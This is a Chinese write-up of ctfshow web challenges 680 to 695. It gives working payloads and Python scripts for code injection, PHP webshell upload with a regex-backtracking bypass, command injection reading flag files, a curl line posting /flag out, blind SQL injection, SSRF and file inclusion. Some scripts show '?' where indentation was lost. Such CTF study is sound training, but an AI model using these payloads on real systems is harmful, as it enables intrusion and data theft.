| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> ctfshow 大赛原题 680-695 -> 正文阅读 |
|
[PHP知识库]ctfshow 大赛原题 680-695 |
web 680web 681web 682web 683web 684web 685686 无参RCE的感觉687688689690691692693694695 web 680一开始提示post code to run payload: code=phpinfo(); 然后测试了一下很多函数被ban了 看phpinfo果然,发现open_dir目录也限制了 直接print_r(scandir(".")) 列出当前目录 再读取就完事了 highlight_file web 681burp抓包分析的时候 输入1' or 1=1# 返回的是 '1or1=1' 尝试 \转义 输入 '||1=1#\ 等价于
web 682要求 if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){ return alert(e) } 但是sha256反向解密不行 所以题目下面拆分了 var k=s.split("-") 第一部分 if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){ return alert(e) } if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){ return alert(e) } 爆破脚本 import hashlib flag=" " s="0123456789abcdef" for i in s: ? for j in s : ? ? ? for k in s: ? ? ? ? ? for l in s: ? ? ? ? ? ? ? string=i+j+k+l ? ? ? ? ? ? ? m=hashlib.sha256(string.encode("utf-8")).hexdigest() ? ? ? ? ? ? ? if(m=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"): ? ? ? ? ? ? ? ? ? ? print(m) ? ? ? ? ? ? ? ? ? ? flag+=string ? ? ? ? ? ? ? ? ? ? print(flag) ? ? ? ? ? ? ? if(m=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"): ? ? ? ? ? ? ? ? ? ? print(m) ? ? ? ? ? ? ? ? ? ? flag+=string ? ? ? ? ? ? ? ? ? ? print(flag) ? ? ? ? ? ? ? ? ? ? ? 得到八位ctfshow{592b9d77-} if(parseInt(k[1][0])!==(c2n('a')-1)){ return alert(e) } if(k[1][1]+k[1][2]+k[1][3]!=='dda'){ return alert(e) } if(k[2][1]!=='e'){ return alert(e) } if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){ 0x1ae =430 return alert(e) } 找到c2n函数 发现c2n('a')=10; 所以此时 ctfshow{592b9d77-9dda-4e30} if(parseInt(k[3][0])!==(c2n('a')-1)){ ? 9 return alert(e) } ? if(parseInt(k[3][1])!==parseInt(k[3][3])){ return alert(e) } ? if(parseInt(k[3][3])*2+c2n('a')!==0x12){ (18-10)/2 return alert(e) } ? if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){ a return alert(e) } ctfshow{592b9d77-9dda-4e30-944a} if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){ return alert(e) } base32 解密 ctfshow{592b9d77-9dda-4e30-944a-5e64f4499a52} web 683(int)("0xxxx")=0; payload: web 684在PHP的命名空间默认为 create_function('$a,$b','return 111') ? ==> ? function a($a, $b){ ? return 111; } 所以payload ?action=\create_function&arg=}system("cat /secret_you_never_know ");// web 685具体原理在p神 根据回溯最大为100万次 超过则返回false 绕过 from io import BytesIO import requests url="http://31cb6c95-d013-462e-828d-b9d5b11e1942.challenge.ctf.show/" files={ ? 'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'b' * 1000000) } r=requests.post(url,files=files) for i in range(0,10): u=url+'data/{0}.php'.format(i) r=requests.post(u,data={'1':'system("cat /secret_you_never_know");'}) if 'b' in r.text: print(r.text) ? 羽师傅脚本 import requests url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/" files={ 'file':'<?php eval($_POST[1]);?>'+'b'*1000000 } r=requests.post(url,files=files) for i in range(0,10): u=url+'data/{0}.php'.format(i) r=requests.post(u,data={'1':'system("cat /secret_you_never_know;echo yu22x");'}) if 'yu22x' in r.text: print(r.text) ? 686 无参RCE的感觉getallheaders是apache中的函数,这里是nginx环境, 所以用get_defined_vars() 方法一: ?code=eval(end(current(get_defined_vars())));&b=phpinfo(); 方法二:列目录 正常 print_r(scandir) print_r(scandir(current(localeconv()))); 687payload: http://3696b171-ef1c-43bc-8d5f-e6fdb623c859.challenge.ctf.show/?ip=127%0acat /flaaag 688? 大概第一个就是把输入的直接当字符串 第二个的处理我有点懵逼 ,不过如果没过滤 我们要 curl url -F file=@/flag 试着 ? 再然后就后面加个点看看 payload :
689考点是ssrf 我们传入的参数file必须以http://127.0.0.1/开头,path不能有.. 假设我们传入 ?file=http://127.0.0.1/&path= 如果我们传入的file换成现在的url会发生什么?是不是把这个页面给写进去了 所以payload ?file=http://127.0.0.1/?file=http://127.0.0.1/%26path= 690691order by 大小比较盲注 ? ? 所以真正的字符是c 写脚本 import requests ? url="http://deeb3ee4-3bad-42a3-9b5e-c26051eab4ca.challenge.ctf.show/" s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~" k="" for i in range(1,40): ? for j in s: ? ? ? l=k+j ? ? ? data={ ? ? ? "username":"' or 1 union select 1,2,'{}' order by 3#".format(l), ? ? ? "password":"12" ? ? ? ? ? } ? ? ? ? ? ? ? ? ? res=requests.post(url=url,data=data) ? ? ? if "</code>admin" in res.text: ? ? ? ? ? k=k+chr(ord(j)-1) ? ? ? ? ? print(k) ? ? ? ? ? break ? ? ? ? ? 692相等于在传入的字符加上了单引号 ;eval($_POST[1]);// => ';eval($_POST[1]);//' %00 ? ? ? ? =>'';eval($_POST[1]);//'' 693远程文件包含即可 694? 最终形成的路径为 /var/www/html/a.php/. 695koajs
漏洞点在 ctx.request.body.files 如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。 ? |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/15 1:09:24- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |